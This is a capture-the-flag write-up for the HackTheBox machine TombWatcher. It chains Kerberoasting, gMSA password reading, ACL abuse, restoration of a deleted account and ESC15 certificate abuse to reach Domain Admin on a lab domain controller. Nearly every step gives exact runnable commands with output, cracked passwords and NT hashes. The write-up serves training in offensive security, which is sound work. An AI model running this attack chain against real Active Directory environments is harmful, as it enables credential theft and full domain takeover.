~/writeups/TombWatcher
Hard Windows Active Directory
TombWatcher.
Hard Windows Active Directory Kerberoasting gMSA ESC15 HackTheBox
Hard Windows Active Directory machine requiring a multi-hop attack chain. The path combines Kerberoasting, gMSA abuse with a PAC-awareness requirement, a chain of ACL-based lateral movements (AddSelf, ForceChangePassword, WriteOwner), restoring a deleted AD object, and finally ESC15 (CVE-2024-49019) with Enrollment Agent abuse to obtain Domain Admin. Clock skew throughout requires faketime for all Kerberos operations.
User Flag
96a23c3034xxxxxxxxxxxxxxxxxxxxxx
Root Flag
0b5863792d6bxxxxxxxxxxxxxxxxxxxx
01Enumeration

Full port scan reveals a classic DC profile. The domain is tombwatcher.htb, DC hostname DC01.tombwatcher.htb. We have starting credentials henry:H3nry_987TGV!.

nmap
$ nmap --privileged -sC -sV -p- --min-rate 5000 -oN nmap_full.txt 10.129.232.167 53/tcp open domain Simple DNS Plus 80/tcp open http IIS 10.0 88/tcp open kerberos-sec Windows KDC 389/tcp open ldap Active Directory 445/tcp open microsoft-ds SMB (signing required) 5985/tcp open wsman WinRM | clock-skew: +4h0m2s
clock skew +4h: Kerberos requires clocks within 5 minutes of the DC. Every Kerberos-based tool must be wrapped in faketime -f "+4h" throughout this box.

Validate starting credentials and enumerate users/shares with NetExec.

SMB enumeration
$ nxc smb 10.129.232.167 -u henry -p 'H3nry_987TGV!' --users Administrator Alfred Guest Henry john krbtgt sam

Run BloodHound to map ACL-based attack paths. The DC has NTLM auth enabled so BloodHound falls back to it when Kerberos fails due to clock skew.

BloodHound collection
$ bloodhound-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb -ns 10.129.232.167 -c All --zip
attack path discovered: alfred →(AddSelf)→ Infrastructure →(ReadGMSAPassword)→ ansible_dev$ →(ForceChangePassword)→ sam →(WriteOwner)→ john →(GenericAll on OU=ADCS)
02Foothold — Kerberoasting Alfred

targetedKerberoast.py temporarily adds SPNs to accounts, requests TGS tickets encrypted with their password hash, then cleans up. The ticket can be cracked offline.

targeted Kerberoast (faketime required)
$ faketime -f "+4h" python3 targetedKerberoast.py -v -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!' $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$09bd27a6...
why not ntpdate? ntpdate steps the system clock but already-running processes retain the old time. faketime -f "+4h" patches time at the library level for just that process — no system-wide impact.
hashcat — crack TGS
$ hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt alfred:basketball
validate credentials
$ nxc smb 10.129.232.167 -u alfred -p 'basketball' [+] tombwatcher.htb\alfred:basketball
03Privilege Escalation — AddSelf to Infrastructure

BloodHound shows alfred has AddSelf on the Infrastructure group — the right to add himself to its member list. This is an LDAP-level ACE on the member attribute.

bloodyAD — add alfred to Infrastructure
$ faketime -f "+4h" bloodyAD -u alfred -p 'basketball' -d tombwatcher.htb --host DC01.tombwatcher.htb add groupMember "Infrastructure" "alfred" [+] alfred added to Infrastructure
why not net rpc group addmem? net rpc uses the SAMR protocol over SMB/RPC which enforces different ACLs than LDAP. The AddSelf ACE is an LDAP permission — SAMR doesn't honour it and returns NT_STATUS_ACCESS_DENIED. Use bloodyAD which communicates directly over LDAP.
04gMSA Password Dump — ansible_dev$

The Infrastructure group has ReadGMSAPassword over ansible_dev$. A gMSA's password is stored in the msDS-ManagedPassword LDAP attribute, readable as an NT hash by members of PrincipalsAllowedToReadPassword.

The PAC problem: After adding alfred to Infrastructure, simply querying gMSADumper returned no hash. Alfred's existing TGT was issued before the group add — its PAC didn't include Infrastructure. AD evaluates ReadGMSAPassword against the PAC, not live group membership. A fresh TGT is required.

group add → fresh TGT → read gMSA (all in one faketime context)
$ faketime -f "+4h" bash -c ' bloodyAD -u alfred -p basketball -d tombwatcher.htb --host DC01.tombwatcher.htb add groupMember Infrastructure alfred && getTGT.py tombwatcher.htb/alfred:basketball -dc-ip 10.129.232.167 && export KRB5CCNAME=alfred.ccache && bloodyAD -k -d tombwatcher.htb --host DC01.tombwatcher.htb get object "ansible_dev$" --attr msDS-ManagedPassword ' msDS-ManagedPassword.NT: cba56cd2df7d642f622e2a59956f6d47
key lesson: PACs are generated at TGT issuance time and never update dynamically. Adding a user to a group gives no access until a new TGT is obtained. Always get a fresh ticket immediately after a group modification.
05Lateral Movement — ForceChangePassword to sam

BloodHound shows ansible_dev$ has ForceChangePassword over sam. We only have an NT hash — net rpc expects a plaintext password and NTLM auth can't treat the hash as a literal password string. Instead, convert the hash to a Kerberos TGT (overpass-the-hash) and use bloodyAD -k.

PTH → Kerberos TGT → ForceChangePassword
# convert NT hash to TGT (overpass-the-hash) $ faketime -f "+4h" getTGT.py tombwatcher.htb/'ansible_dev$' -hashes ':cba56cd2df7d642f622e2a59956f6d47' -dc-ip 10.129.232.167 $ export KRB5CCNAME=ansible_dev\$.ccache # use TGT with bloodyAD (-k = Kerberos auth) $ faketime -f "+4h" bloodyAD -k -u 'ansible_dev$' -d tombwatcher.htb --host DC01.tombwatcher.htb set password sam 'Password123!' [+] Password changed successfully!
06Lateral Movement — WriteOwner to john → User Flag

BloodHound shows sam has WriteOwner over john. WriteOwner lets sam take ownership of john's AD object. As owner, sam can then modify john's DACL to grant himself FullControl, enabling ForceChangePassword.

owneredit → dacledit → password reset
# step 1: become owner of john's object $ faketime -f "+4h" owneredit.py -action write -new-owner 'sam' -target 'john' -dc-ip 10.129.232.167 'tombwatcher.htb'/'sam':'Password123!' [*] OwnerSid modified successfully! # step 2: grant sam FullControl on john's DACL $ faketime -f "+4h" dacledit.py -action write -rights FullControl -principal 'sam' -target 'john' -dc-ip 10.129.232.167 'tombwatcher.htb'/'sam':'Password123!' [*] DACL modified successfully! # step 3: force-change john's password $ faketime -f "+4h" bloodyAD -u 'sam' -p 'Password123!' -d tombwatcher.htb --host DC01.tombwatcher.htb set password john 'Password123!'
why two steps? Ownership and DACL are separate security concepts. WriteOwner lets you become owner, but you can't write the DACL until you are the owner. Order matters: take ownership first, then modify the DACL.
evil-winrm as john → user flag
$ evil-winrm -i 10.129.232.167 -u john -p 'Password123!' *Evil-WinRM* PS C:\Users\john\Desktop> cat user.txt 96a23c3034xxxxxxxxxxxxxxxxxxxxxx
07Privilege Escalation — Restoring cert_admin (Deleted Object)

BloodHound shows john has GenericAll on OU=ADCS. Certipy finds a vulnerable template WebServer (ESC15) with enroll rights granted to SID ...1111 (RID 1111). Resolving this SID reveals it belongs to a deleted cert_admin account.

certipy — find vulnerable templates
$ faketime -f "+4h" certipy-ad find -u john@tombwatcher.htb -p 'Password123!' -dc-ip 10.129.232.167 -vulnerable -stdout Template Name : WebServer Enrollee Supplies Subject : True Schema Version : 1 Client Authentication : False Enrollment Rights : S-1-5-21-...-1111 (cert_admin — DELETED) Vulnerabilities : ESC15

Three deleted cert_admin tombstones exist (the box resets periodically). We need the one with RID 1111. Use the Show Deleted Objects LDAP control (OID 1.2.840.113556.1.4.417) to enumerate them.

ldapsearch — find deleted cert_admin with RID 1111
$ faketime -f "+4h" ldapsearch -H ldap://10.129.232.167 -D 'john@tombwatcher.htb' -w 'Password123!' -b 'DC=tombwatcher,DC=htb' -E '1.2.840.113556.1.4.417' '(isDeleted=TRUE)' sAMAccountName objectSid dn: CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,... sAMAccountName: cert_admin objectSid: ...RID-1111 ← this one

Restore the tombstone. John's GenericAll on OU=ADCS grants write access to the destination container — exactly what ldapmodify needs to move the object back.

ldapmodify — restore deleted object
$ faketime -f "+4h" ldapmodify -H ldap://10.129.232.167 -D 'john@tombwatcher.htb' -w 'Password123!' -e \!1.2.840.113556.1.4.417 <<EOF dn: CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb changetype: modify delete: isDeleted - replace: distinguishedName distinguishedName: CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb EOF modifying entry "CN=cert_admin\0ADEL:938182c3-..."
the -e \!... flag: the ! makes the LDAP control critical — the DC must honour it or fail the operation. Without it, ldapmodify can't see tombstoned objects and reports the DN as non-existent.

The restored account has stale UAC flags and an indeterminate password. Fix it immediately (the machine runs a cleanup task that re-deletes cert_admin).

evil-winrm (as john) — enable + reset cert_admin
*Evil-WinRM* PS C:\> Set-ADUser cert_admin -Enabled $true *Evil-WinRM* PS C:\> Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Reset
08Root — ESC15 + Enrollment Agent Abuse

ESC15 (CVE-2024-49019 — "EKUwu"): Schema Version 1 templates predate Application Policies validation. The CA embeds whatever application policy OIDs the enrollee requests, with no template-level check. Combined with EnrolleeSuppliesSubject: True, an enrollee can inject arbitrary OIDs into the issued certificate.

Requesting the Enrollment Agent OID (1.3.6.1.4.1.311.20.2.1) gives us a cert that can enroll on behalf of other users. We then use it to get a User template certificate (which legitimately has Client Authentication EKU) for Administrator.

step 1 — get Enrollment Agent cert via ESC15
$ faketime -f "+4h" certipy-ad req -u cert_admin@tombwatcher.htb -p 'Password123!' -dc-ip 10.129.232.167 -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'administrator@tombwatcher.htb' -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' -application-policies '1.3.6.1.4.1.311.20.2.1' [*] Certificate saved as 'administrator.pfx' (Enrollment Agent cert)
why not use Client Authentication OID directly? Requesting OID 1.3.6.1.5.5.7.3.2 via ESC15 embeds it in the Application Policies extension. But KDC PKINIT checks the standard Extended Key Usage extension — the CA never overrides the template's EKU. The KDC sees only Server Authentication in EKU and rejects it.
step 2 — enroll on-behalf-of Administrator via User template
$ faketime -f "+4h" certipy-ad req -u cert_admin@tombwatcher.htb -p 'Password123!' -dc-ip 10.129.232.167 -ca 'tombwatcher-CA-1' -template 'User' -on-behalf-of 'tombwatcher\administrator' -pfx administrator.pfx [*] Got certificate for 'administrator@tombwatcher.htb' (Client Authentication EKU)
step 3 — PKINIT auth → NT hash → shell
$ faketime -f "+4h" certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.232.167 -domain tombwatcher.htb [*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc $ evil-winrm -i 10.129.232.167 -u Administrator -H 'f61db423bebe3328d33af26741afe5fc' *Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt 0b5863792d6bxxxxxxxxxxxxxxxxxxxx
09What Failed and Why
clock skew — ntpdate didn't fix Kerberos:
ntpdate steps the system clock but shell sessions already running retain the old time. Use faketime -f "+4h" to patch time at the library level per-process without touching the system clock.
gMSA returned no hash after group add:
Alfred's TGT was issued before the group modification — its PAC didn't include Infrastructure. AD evaluates ReadGMSAPassword against the PAC, not live membership. Always obtain a fresh TGT after a group modification.
net rpc group addmem — NT_STATUS_ACCESS_DENIED on AddSelf:
SAMR enforces different ACLs than LDAP. The AddSelf ACE lives at the LDAP layer — SAMR ignores it. Use bloodyAD which speaks directly to LDAP.
net rpc password — NT_STATUS_LOGON_FAILURE with NT hash:
net rpc takes a literal plaintext password string. Passing an NT hash as the password field fails because NTLM auth uses the hash in a challenge-response — it's not used as a plaintext value. Use overpass-the-hash: getTGT.py -hashesbloodyAD -k.
Deleted object invisible to ldapmodify:
Without OID 1.2.840.113556.1.4.417 (Show Deleted Objects), the DC hides tombstones from all LDAP operations. Pass -e \!1.2.840.113556.1.4.417 to make the control critical so the DC must expose the deleted object.
ESC15 with Client Authentication OID — cert issued but PKINIT rejected:
ESC15 embeds the requested OID in the Application Policies extension. The KDC checks the standard Extended Key Usage extension for PKINIT. The WebServer template's EKU only contains Server Authentication — the CA doesn't override it. The fix is to inject the Enrollment Agent OID instead, then enroll-on-behalf-of via the User template which legitimately carries Client Authentication in its EKU.
cert_admin SMB auth failed after restore:
Restored tombstones have stale UAC flags and indeterminate password state. The DC refused authentication. Immediately after restoring: Set-ADUser cert_admin -Enabled $true then reset the password via Set-ADAccountPassword in the evil-winrm session as john.
10Full Attack Chain
attack chain summary
henry:H3nry_987TGV! (given) │ ▼ Targeted Kerberoast (faketime +4h) → alfred TGS → hashcat → alfred:basketball │ ▼ alfred AddSelf → Infrastructure (bloodyAD, LDAP — not SAMR) fresh TGT required for PAC update │ ▼ Infrastructure ReadGMSAPasswordansible_dev$ NT hash │ ▼ ansible_dev$ ForceChangePassword → sam overpass-the-hash: getTGT.py -hashes → bloodyAD -k → sam:Password123! │ ▼ sam WriteOwner → john owneredit → dacledit → ForceChangePassword → john:Password123! → WinRM → user.txt ✓ │ ▼ john GenericAll on OU=ADCS ldapsearch (Show Deleted Objects OID) → cert_admin tombstone RID 1111 ldapmodify → restore to OU=ADCS evil-winrm: enable account + reset password → cert_admin:Password123! │ ▼ ESC15 (CVE-2024-49019) on WebServer (Schema v1, EnrolleeSuppliesSubject) inject Enrollment Agent OID → administrator.pfx (agent cert) certipy req -on-behalf-of administrator via User template certipy auth → Administrator NT hash PTH → evil-winrm → root.txt ✓
key takeaways:
· PACs are static — always get a fresh TGT after group modifications before expecting LDAP access changes
· AddSelf/WriteOwner/ForceChangePassword are LDAP ACEs — use bloodyAD not net rpc
· ESC15 embeds OIDs in Application Policies, not EKU — use Enrollment Agent path, not direct Client Auth
· Deleted AD objects retain their SIDs — restoring them is the intended path when a SID with rights is tombstoned
· faketime -f "+4h" is the reliable clock-skew fix for all Kerberos operations
← all writeups